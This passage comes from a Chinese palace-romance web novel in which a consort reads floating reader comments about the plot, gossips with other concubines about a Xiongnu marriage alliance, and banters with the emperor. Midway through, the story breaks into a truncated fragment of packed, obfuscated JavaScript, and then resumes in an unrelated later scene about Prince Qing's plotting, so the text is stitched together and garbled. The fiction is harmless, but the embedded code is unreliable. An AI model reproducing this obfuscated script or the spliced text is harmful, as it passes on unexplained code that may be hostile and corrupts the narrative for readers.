沈岁安在屋内,一边和安才人嗑着瓜子,一边听着宋美人讲外面的趣事。 虽然自上次召寝后,慕春杳除了给了一堆赏赐之外再也没召见过她,但也没见过别人,宫中现在默认虞昭仪乃是有大造化之人,所有的好东西都先紧着蓬莱殿。 尤其是冰这种东西,蓬莱殿更是要多少有多少,以至于宋美人和安才人现在恨不得一天十二时辰赖在这里。 “姐姐可曾听说,匈奴那边想跟咱们联姻的事?” 沈岁安点头,忍不住好奇:“听说了,可咱们大周有适龄的公主吗?” “姐姐忘了,先帝淑妃是留有一位嘉宁公主。” 沈岁安这才想起还有这样一位公主。 其实并不能怪她,先帝当初对如今的太后宠爱到什么地步呢?说一句昏庸也不为过。 庆王出生前还好些,庆王出生后,先帝就将宫中的孩子无论男女全部送走,只因太后不喜。 要不是当初慕春杳这个储君实在没什么错处,再加上朝臣的反对,先帝才勉强将慕春杳留在东宫。 隐约还有传言说先后就是被太后害死的,但先帝为她隐瞒了下来,沈岁安也不知是真是假。 安才人蹙眉:“嫔妾要是没记错的话,匈奴这一代单于已近花甲之年,可咱们公主应该才及笄。” 嘉宁公主的及笄礼办的并不大,甚至称得上简陋,堂堂公主及笄,用的却是郡主的规格,请去的大多也是宗室之人,因此知道的人不多,安才人知道还是因为那及笄礼的一部分银子是她家出的。 沈岁安正为这位嘉宁公主唏嘘着,弹幕又飘了出来: 【唔,女主宝宝好可爱,好善良,不过没关系,嘉宁公主现在不会去和亲的】 【现在去和以后去有什么区别吗?】 【男主登基后送嘉宁公主去和亲也是无奈之举好不好?】 【无奈之举?我怎么记得书上写的是面对匈奴的请求,慕灼风想都没想就同意了,反倒是现在这个被称为“暴君”的男配,一口回绝】 …… 弹幕终是因为意见不合而吵的一发不可收拾。 “还有一件事,听说南诏这次来的是那位南诏世子,南宫迟。” 南宫迟的大名,沈岁安都听过,当今南诏国主只有南诏王后一个妻子,也只有南宫迟这一个孩子。 而南宫迟也没有辜负他们的期望,文武双全,据说,生的还时分俊美,每次外出回南诏王都时,百姓们都会夹道相迎,掷果盈车。 “你们就不好奇他长什么样吗?他可是跟咱们庆王殿下齐名的美男子呢。” 沈岁安看着宋佳慧,只觉得现在的她眼里没有宫规,只有对美男子的向往。 提到庆王,沈岁安瞬时就没了兴致:“不好奇。” “而且我觉得庆王也没多好看。” 平心而论,沈岁安对那种温润如水的类型并不是多感兴趣,反倒喜欢慕春杳那种美到具有攻击性的长相,更合她的胃口。 “谁不好看?” 男人的声音从殿门口传来,沈岁安一惊。 这人怎么总是神出鬼没的? “虞昭仪刚刚说谁长的没多好看?” 慕春杳的语气平平,可沈岁安就是听出了他话里的不怀好意,她更加确定他肯定听到了她们说话。 “回陛下的话,臣妾刚刚说,臣妾觉得庆王殿下长的没多好看。” 慕春杳挑眉,复又问道: “那昭仪觉得谁好看?” 沈岁安脱口而出:“陛下。” “臣妾觉得陛下长的最好看。” 沈岁安知道慕春杳想听什么,还是顺着他想要的答案说,反正也是事实。 慕春杳点头:“你说的对!” “他确实没朕好看。” 宋美人和安才人表示没眼看,她们居然不知道一向冷酷霸气的陛下居然还有这样……幼稚的一面。 不过,看慕春杳来了蓬莱殿,她们行完礼之后很有眼色的告退,宋美人看向二人的眼光带着揶揄,那是对八卦的热情,沈岁安之后少不得要被盘问一圈。 “没想到,朕在岁岁心中,竟是这样的形象。” “岁…岁?” 沈岁安迟疑,怀疑是自己听错了,这些天慕春杳一次又一次的刷新了她对他的认知。 偏正主还像个没事人一样: “岁岁,怎么了,朕记得,你家人都这样叫你。” “陛下还是叫臣妾虞昭仪就好。” “就不!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“还有,王爷上次为何要帮沈氏?” 凌氏倒台是对庆王府有利,但远不如沈家倒台能够将利益最大化。 想到上次宫中那个明明不想救自己,却不知为何还是半路返回的女子,慕灼风会心一笑。 听说她还很得皇兄宠爱? “无碍,本王欠了沈家一个人情罢了。” 陈先生这次放心,欠的不是谁的情债就好,他始终觉得,大丈夫当建功立业,不能沉溺于儿女情长。 …… 沈岁安沉默的看着眼前飘过的弹幕,将庆王府的阴谋尽收眼底。 阴谋摆在明面上,对沈岁安来说就成了阳谋。 她在想要不要将此时告诉慕春杳? 如果告诉,又要怎么解释她是如何知道的,若是不告诉,慕春杳中计了怎么办? 想到那暴君虽然对别人狠厉,对她倒是不错,沈岁安在心中百般纠结。 想着想着,沈岁安沉沉睡去。 半夜,她突然感觉什么东西爬上了她的床,冰冰凉凉的,还带着点好闻的龙涎香味。 沈岁安猛然睁眼,一张俊美到极致的脸无限地在她眼前放大。 她本要尖叫出声,慕春杳眼疾手快的捂住了沈岁安的嘴: “别出声,朕翻墙进来的。” 沈岁安闭嘴,但感觉更奇怪了,怎么有种偷情的即视感? 她将这一切归结于慕春杳应该是有什么怪癖,就喜欢寻求这种刺激感。 她也两眼一闭,由着慕春杳来,最终在他怀中找了个舒服的姿势沉沉睡去。